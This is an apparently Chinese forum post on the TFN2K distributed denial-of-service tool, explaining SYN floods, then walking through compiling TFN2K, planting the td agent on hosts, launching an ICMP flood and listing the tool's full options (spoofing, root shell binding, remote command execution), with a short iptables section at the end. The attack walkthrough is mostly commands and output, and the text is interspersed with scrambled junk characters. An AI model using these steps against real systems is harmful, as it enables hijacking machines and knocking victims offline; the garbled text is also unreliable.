分布式拒绝攻击(DDOS)软件tfn2k攻防

踏浪行歌

分布式拒绝攻击(DDOS)软件tfn2k攻防 # O/ z) d7 g' ]+ O/ G ] y% M 3 s# E' \. j( O" a首先，我写这篇文章的目的，并不是我想成为什么hacker之类，而且我不并不鼓励任何人利用它来做一些有损他人的事情，我只是想多一 - G& J1 V/ l6 {

些人关注网络安全，共同研究并防御DOS。因为我是深受其害，所以，这篇文章仅用于技术参考，供大家研究DDOS防御之用。如果你利用它来

做一些不合法的事情，那结果与我无关。 7 A: _7 n0 q) a8 G& t9 ?# Y4 e3 O拒绝服务攻击（DOS，DenialOfService)可以指任何使服务不能正常提供的操作。如软件bug,操作失误等。不过现在因为失误操作而造成

的dos，可能性非常小，更多的是恶意的攻击行为。现在拒绝服务攻击早已演变为分布式拒绝服务攻击(DDOS,DistributedDenialOf

Service),利用更多的代理集中攻击目标，其危害更大。 ! N: k! C- L* T9 Z$ w W. y我们大家都知道tcp/ip协议现在已经成为整个internet框架协议，可以说，如果没有tcp/ip，至少internet不会像现在这样普及，甚至不 , e( N5 \: ~* u, k

可能会有internet。但凡事皆有两面性，tcp/ip使我们大家受益，同时因为协议本身构造的问题，它也成为别人攻击我们的工具。我们以tcp三 ! e6 L) m K$ Q. K% v# t" V$ N6 j

握手建立连接的过程来说明。 " D/ w( E1 {; | 一。tcpsynflood ) s$ \8 _4 D: m0 M* E1 | # }' t7 {5 F9 p0 E3 T8 |3 T: C1.客户端(client)发送一个包含SYN(synchronize)的tcp包至服务器，此数据包内包含客户端端口及tcp序列号等基本信息。 / f8 Q9 d+ {$ Q& [; N# F& e, c$ c$ W2.服务器(server)接收到SYN包之后，将发送一个SYN-ACK包来确认。 5 `3 @8 W% `* o+ v' S3.客户端在收到服务器的SYN-ACK包之后，将回送ACK至服务器，服务器如接收到此包，则TCP连接建立完成，双方可以进行通讯（感觉像

，一拜天地...二拜高堂...送入洞房...哈哈） 5 p, }) Q# D! K# ^8 Y% ~2 B9 u. C

问题就出在第3步，如果服务器收不到客户端的ACK包，将会等待下去，这种状态叫做半连接状态。它会保持一定时间(具体时间不同操作系 1 d. L( c7 E% |5 }2 O

统不同),如果SYN请求超过了服务器能容纳的限度，缓冲区队列满，那么服务器就不再接收新的请求了,其他合法用户的连接都被拒绝掉。这种

攻击往往事半罪倍，杀伤力超强。 ( S- y0 L" R7 M+ g* j当然，DOS攻击的方法多种多样，如:UDPflood,ICMP/Ping,ICMP/SMURF...,具体原理的介绍大家可以到<a

href=http://www.chinaitlab.com/www/special/ciwddos.asp>http://www.chinaitlab.com/www/special/ciwddos.asp</a>去看看，有很详细

的原理及常用攻击软件介绍。不过说到DOS攻击软件，最具代表的莫过于tfn2k(TribeFloodNetwork2000),其作者是德国大名鼎鼎的mixter( 1 C6 l& u, x2 D( h# w

其主页http://mixter.void.ru/papers.html),好像最近正在埋头搞什么tfn3k，哎~~，不知道又有多少人寝食难安了...

二.tfn2k攻击原理

1.tfn2k的攻击体系。

tfn2k应该算是DDOS攻击中的代表作，其所能实现的功能让人瞠目结舌，叹为观止...(对它的敬畏有如滔滔江水，延续不绝...)来看看它 7 R# S# I8 j4 E! k7 [2 T

的架构。 $ `6 k A, q4 D/ ?主控端---运行tfn客户端，来遥控并指定攻击目标，更改攻击方法.(罪大恶极) 代理端---被植入并运行td进程的牺牲品，接受tfn的指挥，攻击的实施者.需要注意的是，一个攻击者，往往控制多台代理来完成攻击，而 3 x8 q! U/ O! c8 E+ M

且其系统多为unix,linux等.(可怜的牺牲品） 目标主机---被攻击的主机或网络，曾经被DDOS的有Yahoo、Amazon、CNN、e-bay等.(最大的受害者，郁闷如我) 5 V0 F+ e" W' p5 g0 {8 K7 Z2.tfn2k特性。 　◆主控端通过TCP、UDP、ICMP或随机性使用其中之一(默认.随机)的数据包向代理端主机发送命令,攻击方法包括TCP/SYN、UDP、 h. \$ W6 g' i2 ]7 ]3 W" I

ICMP/PING、混合攻击、TARGA3等。 ◆主控端与代理端的通讯采取单向，即主控端只向代理端发送命令，并且会采取随机的头信息，甚至虚拟的源地址信息,代理端不会 & c& Y7 b3 \, B# h, q/ \

逆向向主控端发送任何信息. ◆所有命令经过CAST-256算法加命,其关键字即编译程序时的输入的口令.并且这个口令做为唯一认证凭证. ◆利用td进程，主控端可以远程执行shell命令. ◆td进程的名称可以在编译时更改,更便于隐藏. 5 n; |- I& @, y◆tfn可以编译运行于win32及linux系统的. ... 至于伪造源IP地址等功能，更是基本功能，并且其与老版本的tfn相比，它的发包效率更高，我自已的测试，在短短不到5分钟，两台

代理机，使我的redhatlinux9.0系统瘫痪.

三.tfn2k实战测试 : R. p, _8 i. X/ A/ H1.测试环境: + k+ o2 A! K6 g+ A4 y软件：redhatlinux9.0 . \! H5 m# H; k5 [ E0 F硬件平台： / D9 _4 m* n6 E+ f, }master: IP:192.168.0.6 : ] S8 j/ B7 K, Z/ Z8 GPIV2.4/256*2/rtl8139 4 ]- ^$ z; T& F, vAg1: IP:192.168.0.2 PIV2.4/256*/rtl8139 5 j' |" _5 U' Q5 E7 G$ G ?$ eAG2:IP:192.168.0.3 pIV2.6/512*2/3c905 AIM:192.168.0.5 & x2 {; W4 C6 D. Y3 RpIV2.66c/512*2/3c905 8 ^: k2 {2 o& o0 C* ~% Y0 R& @switch_linkdes1024R : s- ]5 H. B {/ B S8 }" J

1.下载tfn2k.tgz(因为此软件非比寻常，所以我并不提供下载地址，如果有兴趣，自已到网上找吧) 2.解压：tarzxvftfn2k.tgz 3.修改文件 A.src/Makefile如果你的系统是linux系统，不需要做任何修就可以，如果是win32系统，请将 + e/ l# p. K5 f/ t! |+ z2 G( X#Linux/*BSD*/Others CC=gcc 3 I9 U" c6 `& @0 G3 v; G2 [) U5 NCFLAGS=-Wall-O3 $ t; o4 N. `7 u3 m0 M; zCLIBS= 这几行注释掉,并将 #Win32(cygwin) - }6 R3 c% L! G/ w# |#CC=gcc #CFLAGS=-Wall-DWINDOZE-O2 #CLIBS= % L+ j Z, {5 J这几行的注释去掉.因为我的测试系统为redhatlinux9.0所以并未做任何修改.

B.src/config.h，默认的就可以用，如果感兴趣，可以照其注释信息进行调整。 4 {& W! b4 u2 r1 N! X& h C.src/ip.h这里要做一些修改，否则编译会有错误，发生重复定义。 ) I/ H) I1 R: x: S/*structin_addr + U% H0 t1 U3 ~$ }# R1 ]% Y. D{ 8 S0 w0 |% v* H7 ]6 P Q3 b+ D( nunsignedlongints_addr; };*/ 1 {, J T2 {9 U9 r3 H' Q* a注意啊~~我可是将它放在"/**/"之间，也就是注释掉了 D.更改编译器： 因为tfn2k支持的是egcs-1.1.2-30,而redhatlinux9.0所包含的是gcc-3.2.2-5,所以如果不替换掉gcc，tfn2k是编译不过去的.需

要注意的是，更改之后，有可能会造成基于gcc3.2.2的软件编译不去,请谨慎而行. 1 z+ e z8 A% j) l) A, B方法很简单的，找到一张redhatlinux6.2安装盘,将egcs-1.1.2-30.rpm、cpp-1.1.2-30.rpm拷到~/ 2 D' J% v A+ w0 ocd/mnt/cdrom/Redhat/RPMS cpegcs-1.1.2-30*cpp-1.1.2-30*~/ 安装cpprpm-Uvh--nodeps--oldpackagecpp-1.1.2-30.i386.rpm 安装egcsrpm-Uvhegcs-1.1.2-30.i386.rpm(如果提示有误，用nodeps、oldpackages、ignoreos等参数忽略过去就是了） . u" I3 c3 p G 4.编译tfn2k ! W6 D' v7 a9 w+ _+ j0 \: scdtfn2k/src 5 `1 X7 v/ J8 M0 Rmake 首先会谈出一个声明，你必须接受，之后会提示输入8-32位密码,前边提到过，这是唯一的认证凭证，会被分发于td进程中，所以一定 6 i. V' F% k" L0 t

要记牢噢~。 ) T0 O. e0 [4 O1 ^% m; z) m9 X7 d编译通过后，会产生td及tfn，这就是大名鼎鼎的tfn2k啦~,td是守护进程，用来安装在代理中的，而tfn就是控制端. - F( S3 [0 n6 l% S3 g) }- [5 O

5.安装td. 将td上传到我的两台代理,ag1(192.168.0.2)和ag2(192.168.0.3)，因为我只不过测试，所以用的是合法的root来上传并执行td进程的 $ f3 V) x, z( D) o

，如果真要找到并安装一个代理，你可能得费点儿神，因为没有一个管理员会说“comeonbaby~~.我给你root,来安装td做代理吧” % p) [/ f4 l x6 x1 Z[root@test/]ftp192.168.0.2 Connectedto192.168.0.2. 530PleaseloginwithUSERandPASS. 530PleaseloginwithUSERandPASS. Name(192.168.0.2:root):wjpfjy 331Pleasespecifythepassword. Password: ' y; S6 `9 N1 b2 C }230Loginsuccessful.Havefun. RemotesystemtypeisUNIX. ' r' V0 o7 t6 j- e. L8 ~Usingbinarymodetotransferfiles. ftp>puttd(上传td) 8 c- m2 G, e( j' h* {7 C+ @local:tdremote:td ( G( R# O- M. o' S2 u227EnteringPassiveMode(192,168,0,3,198,225) 553Couldnotcreatefile. ftp>by(退出ftp) 0 _5 K v M$ x' f% e# \# ^221Goodbye. ' n5 A; m; ^- \: v/ A- e% w/ H[root@test/]ssh192.168.0.2登陆到ag1以执行td,注意，我用的是root帐户，这样才有足够的权限来执行它. root@192.168.0.2spassword: Lastlogin:TueFeb2406:51:132004 [root@ag1/]find/-nametd-print找到刚上传过来的文件td. + M7 s$ w( H# _* U[root@ag1wjpfjy/]chmoda+xtd使之具有执行权限. [root@ag1wjpfjy/]./td运行td，这样你就拥有一个代理了，它会对你唯命是从的。 8 ?& u" }5 p* ]% x8 \% o" h$ U　　　 　　用同样的方法在ag2(192.168.0.3)上安装并运行TFN2k进程td. $ \5 I4 u) X" ` 6.攻击开始(悲惨的回忆上演中...) 4 \5 ]# S6 J# F/ x回到master(192.168.0.6)，准备演练... 4 _- r- Q6 C. f' _　　　[root@masterroot]#touchhost.txt建立代理记录文件(因为如果你足够无聊的话，有可能会建立很多的肉鸡－代理，不记下会忘 , x% A; l+ k$ D/ Q, g% m! \/ A6 v( q

记的噢.) [root@masterroot]echo"192.168.0.2">host.txt将执行过td的ag1加入host.txt。 " o0 q1 k# d" C. }4 }7 X9 Q　　　[root@masterroot]echo"192.168.0.3">>host.txt添加ag2到host.txt. 　　　先来测试一下链接。 9 l& m6 K3 c4 Q! Y# b　　　[root@masterroot]./tfn-fhost.txt-c10-i"mkdirwjpfjy"与host.txt中的代理通讯，让其执行命令mkdirwjpfjy即建立一个 / X; m: J5 D2 a: D

目录 　Protocol:random 4 x" F# F6 p: ]- K: V7 r" JSourceIP:random Clientinput:list 0 r- \& }3 i0 `6 t$ nCommand:executeremotecommand ; q4 U( d" a. X0 F* p3 I

　　　Passwordverification:　　　　这里，会被提示输入密码，也就是编译时输入的密码,如果错了，将无法与td进程通讯 I; s% @5 r( p, z

　　　Sendingoutpackets:..

到ag1和ag2看看有没有建立目录名wjpfjy，一般情况下,会存在于td的同一目录,如果不确定，可以用find/-namewjpfjy-print来查找 　　 　　　[root@masterroot]./tfn-fhost.txt-c6-i192.168.0.5　开始ICMP/PING攻击aim...(可怜我的P4啊，不到5分钟,就跟386一样慢 ; W; ^4 `9 y7 d3 q0 n, O; p0 _

)，不过它在gameover前，还是很艰辛的记录下了攻击数据,也算是对得住的那NK大洋啦.这是tcpdump的抓包记录. [root@aimroot]#tcpdump-rpack.atta-c4-xX / y& {8 C9 r, U. m- s+ ^08:03:36.52490723.43.171.0>192.168.0.5icmp:echorequest[ttl0] 7 n* }( K c8 l; n' @; I0x00004500005c659d00000001d22e172bab00E..\e........+.. # k# q' U v: J8 ^* x$ n! o8 f0x0010c0a800020800f7ff0000000000000000................ # K: O, i+ V. ~+ }: e/ L0x002000000000000000000000000000000000................ 0x003000000000000000000000000000000000................ d9 Z' q0 M. F0x004000000000000000000000000000000000................ - i3 e) l* |% }/ q3 V0x00500000.. 08:03:36.524933192.168.0.5>23.43.171.0:icmp:echoreply 7 ?$ ?8 I: n3 Q" M( F' p1 p2 ]0x00004500005ca5d50000400151f6c0a80002E..\....@.Q..... ( o4 ~% q q4 I) [0x0010172bab000000ffff0000000000000000.+.............. 0x002000000000000000000000000000000000................ 0x003000000000000000000000000000000000................ 0 w' x9 m/ Y7 O' D' ?6 @% l5 m0x004000000000000000000000000000000000................ 0x00500000.. 08:03:36.52494436.235.130.0>192.168.0.5:icmp:echorequest[ttl0] 1 g! }) l$ A5 g5 L0x00004500005c659d00000001ed6e24eb8200E..\e......n$... 0x0010c0a800020800f7ff0000000000000000................ ; @& d+ x- J" P. D3 }; x0x002000000000000000000000000000000000................ 0x003000000000000000000000000000000000................ 0x004000000000000000000000000000000000................ ( k J6 \& E4 m! U0 S1 u- p0x00500000.. 08:03:36.524984192.168.0.5>36.235.130.0:icmp:echoreply 0x00004500005c551c00004001bdefc0a80002E..\U...@....... : p! m3 ~: r5 x7 S" L" _7 D0x001024eb82000000ffff0000000000000000$............... 0x002000000000000000000000000000000000................ 0x003000000000000000000000000000000000................ 0x004000000000000000000000000000000000................ * U$ Z1 Z( m' j0 q% B　 　[root@masterroot]./tfn-fhost.txt-c0停止攻击

Protocol:random " c" [: j- T1 GSourceIP:random Clientinput:list Command:stopflooding

Passwordverification: 3 P: x, N2 E+ E& l3 \% d# T/ `

Sendingoutpackets:...

当然还有别的攻击方法，你只要用-cX就可以更改攻击方法. [- l( z$ `4 o0 R

[root@masterroot]./tfn usage:./tfn<options> # n+ _3 |3 L4 v0 ][-Pprotocol]Protocolforservercommunication.CanbeICMP,UDPorTCP. Usesarandomprotocolasdefault [-Dn]Sendoutnbogusrequestsforeachrealonetodecoytargets [-Shost/ip]SpecifyyoursourceIP.Randomlyspoofedbydefault,youneed touseyourrealIPifyouarebehindspoof-filteringrouters [-fhostlist]FilenamecontainingalistofhostswithTFNserverstocontact / {! X4 l: G* s/ q& n/ O[-hhostname]TocontactonlyasinglehostrunningaTFNserver [-itargetstring]Containsoptions/targetsseparatedby@,seebelow 0 C- ]% F& k' K( k# h[-pport]ATCPdestinationportcanbespecifiedforSYNfloods ) g1 N, O$ y3 g' M/ N<-ccommandID>0-Haltallcurrentfloodsonserver(s)immediately 0 z; |1 X4 l9 x- @# Z6 A1-ChangeIPantispoof-level(evaderfc2267filtering) 7 M" o8 x0 D* S4 D+ qusage:-i0(fullyspoofed)to-i3(/24hostbytesspoofed) 2-ChangePacketsize,usage:-i<packetsizeinbytes> 3-Bindrootshelltoaport,usage:-i<remoteport> $ X8 W! J% \* C4-UDPflood,usage:-ivictim@victim2@victim3@... % h6 n* ?3 R R+ V5-TCP/SYNflood,usage:-ivictim@...[-pdestinationport] ( Q) M4 \! E5 C2 U2 A) g2 R+ \6-ICMP/PINGflood,usage:-ivictim@... 7-ICMP/SMURFflood,usage:-ivictim@broadcast@broadcast2@... / x, r7 q, p2 e( X1 n8-MIXflood(UDP/TCP/ICMPinterchanged),usage:-ivictim@... 9-TARGA3flood(IPstackpenetration),usage:-ivictim@... + z2 g% z4 x$ p! R10-Blindlyexecuteremoteshellcommand,usage-icommand 8 R* Z! @1 h! T; [. c! w0 E

四.防守办法 & q0 @6 U, v7 k# U' O8 y8 S4 `就如同网上所有介绍DDOS的文章一样，DDOS防不胜防，我试着用防火墙过滤掉所有icmp包，来保护我的主机，但所实现的，只是我的主机晚 4 h J* F+ ]* ]* M. p# `5 j

点儿崩溃而已.哎～，别指望我来防DDOS,要能防，我也不用不睡觉啊 $ H* b5 h F2 ^; F, m　　还是那句老话，我们能做的，就是尽量让我们的主机不成为别人攻击的代理，并对intranet内出行的包进行严格限制，尽量不去危害别人

，只要大家都这样做，我们的网络环境才可以安全一些，至少，我可以安心睡几天觉. 0 f' v- L' V" F* _ 5 U; T3 x9 e: I& m P) c4 q附上我防火墙的一部分.主要是针对ICMP/PING的，不过用处不太大 $ p( `0 f5 T, y9 N% T+ e

/sbin/iptables-PINPUTDROP /sbin/iptables-AINPUT-ilo-pall-jACCEPT ; h1 F1 f/ b) X! Y$ x/sbin/iptables-AINPUT-ieth1-picmp-jACCEPT ' w" o; G' E- g+ }3 @+ x/sbin/iptables-AINPUT-picmp--icmp-type8-jDROP /sbin/iptables-AINPUT-s127.0.0.2-ilo-jACCEPT 1 I; ]7 N& x& z6 K8 ~% o/sbin/iptables-AINPUT-s127.0.0.2-ieth0-jDROP . n8 I: W1 v$ x5 E/sbin/iptables-AINPUT-s$LAN_NET/24-ieth0-jDROP /sbin/iptables-AINPUT-s172.16.0.0/12-ieth0-jDROP /sbin/iptables-AINPUT-s10.0.0.0/8-ieth0-jDROP /sbin/iptables-AINPUT-ieth0-mlimit--limit1/sec--limit-burst5-jACCEPT/sbin/iptables-AINPUT-ieth0-pudp-m 8 |8 Q) v/ R* F$ n: {( C& @9 ^ g5 m

state--stateNEW-jREJECT * U% W! ~- X* W/sbin/iptables-AINPUT-ptcp--dport22-jACCEPT /sbin/iptables-AINPUT-ptcp--dport80-jACCEPT * h, Z4 a* @$ |! m8 m/sbin/iptables-AINPUT-ptcp-ieth1--dport53-jACCEPT /sbin/iptables-AINPUT-pudp-ieth1--dport53-jACCEPT j; P& n" w& b6 W; J0 h/sbin/iptables-AINPUT-ptcp-ieth0-mstate--stateESTABLISHED,RELATED-mtcp--dport1024:-jACCEPT /sbin/iptables-AINPUT-pudp-ieth0-mstate--stateESTABLISHED,RELATED-mudp--dport1024:-jACCEPT /sbin/iptables-AINPUT-picmp--icmp-typeecho-request-jLOG--log-level2 /sbin/iptables-AINPUT-ieth0-picmp--icmp-typeecho-request-jDROP /sbin/iptables-AINPUT-ptcp-mmultiport--destination-port135,137,138,139-jLOG 4 L' u1 z. C! I) u/sbin/iptables-AINPUT-pudp-mmultiport--destination-port135,137,138,139 % M) g8 }% u4 [2 Q. {-jLOG /sbin/iptables-AINPUT-ieth0-ptcp--dport2000-jACCEPT C1 B1 i7 T. \3 V/sbin/iptables-AINPUT-ieth0-ptcp--dport2001-jACCEPT 7 I& \8 |+ f M/sbin/iptables-AINPUT-ptcp-ieth1-mstate--stateESTABLISHED,RELATED-mtcp--dport1024:-jACCEPT

P/ V5 [0 ^% n/ `3 F　以上只是我个人的一些摸索经验，不足或错误之处，还望指证。如果您可以防止DDOS，也请告诉我 ' L9 ~. f5 N& S, k3 I& l) O! L因为本文内容的特殊性，转载请通知我，谢谢合作QQ:928395 , ]- s% l8 B: \- U" j& _

[em09]